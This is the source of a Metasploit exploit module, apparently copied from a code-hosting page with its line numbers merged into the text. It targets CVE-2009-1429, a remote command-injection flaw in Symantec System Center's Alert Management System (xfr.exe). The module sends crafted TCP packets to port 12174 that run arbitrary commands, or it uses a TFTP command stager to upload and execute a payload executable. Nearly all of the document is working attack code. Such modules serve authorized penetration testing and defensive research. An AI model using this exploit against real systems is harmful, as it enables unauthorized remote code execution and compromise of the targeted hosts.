Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/antivirus/ams_xfr.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::CmdStager9include Msf::Exploit::Remote::Tcp10include Msf::Exploit::EXE1112def initialize(info = {})13super(update_info(info,14'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',15'Description' => %q{16Symantec System Center Alert Management System is prone to a remote command-injection vulnerability17because the application fails to properly sanitize user-supplied input.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2009-1429' ],24[ 'BID', '34671' ],25[ 'OSVDB', '54157' ],26[ 'ZDI', '09-060' ],27[ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]28],29'Targets' =>30[31[ 'Windows Universal',32{33'Arch' => ARCH_X86,34'Platform' => 'win'35}36]37],38'CmdStagerFlavor' => 'tftp',39'Privileged' => true,40'Platform' => 'win',41'DefaultTarget' => 0,42'DisclosureDate' => '2009-04-28'))4344register_options(45[46Opt::RPORT(12174),47OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),48])49end5051def windows_stager52print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")53tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']54execute_cmdstager({ temp: '.', tftphost: tftphost })55@payload_exe = generate_payload_exe5657print_status("Attempting to execute the payload...")58execute_command(@payload_exe)59end6061def execute_command(cmd, opts = {})6263connect6465len = 2 + cmd.length6667data = [0x00000000].pack('V')68data << len.chr69data << "\x00"70data << cmd + " "71data << "\x00"7273sock.put(data)7475res = sock.get_once7677if (!res)78print_error("Did not received data. Failed?")79else80print_good("Got data, execution successful!")81end8283disconnect8485end8687def exploit88unless datastore['CMD'].blank?89print_status("Executing command '#{datastore['CMD']}'")90execute_command(datastore['CMD'])91return92end9394case target['Platform']95when 'win'96windows_stager97else98fail_with(Failure::Unknown, 'Target not supported.')99end100101handler102103end104end105106107